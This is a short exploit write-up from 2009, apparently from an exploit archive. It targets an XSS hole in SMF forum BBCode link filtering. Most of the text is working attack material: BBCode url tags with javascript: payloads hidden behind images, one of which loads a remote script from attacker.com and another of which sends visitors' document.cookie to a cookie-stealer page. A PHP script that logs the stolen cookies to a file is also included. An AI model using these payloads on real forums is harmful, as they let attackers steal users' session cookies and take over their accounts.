smf-cookie.txt
Posted on 03 February 2009
Author: Xianur0 BBCode of the smf not filtered properly specified urls: [center][size=14pt][url=javascript:alert('xss')]Saltando Filtro :D...[/url][/size] [url=javascript:document.write(unescape(%3Cscript+src%3D%22http%3A%2F%2Fwww.attacker.com%2Fexploit.js%22%3E%3C%2Fscript%3E))][img]http://img508.imageshack.us/img508/6982/flmnetworkuserbar494abfyb2.png[/img][/center] Click on the image, run the javascript.. BBC Cookie Exploit: [center][size=14pt][url=][/url][/size] [url=javascript:document.write('<iframe width="0%" height="0%" src="http://www.attacker.com/cookiestealer.php?cookie=' + document.cookie +'"> frameborder="0%">');][img]http://www.google.com.mx/intl/es_mx/images/logo.gif[/img][/center] PHP Cookie Stealer: <?php $cookie = $_GET['cookie']; $handler = fopen('cookies.txt', 'a'); fwrite($handler, $cookie." "); ?>
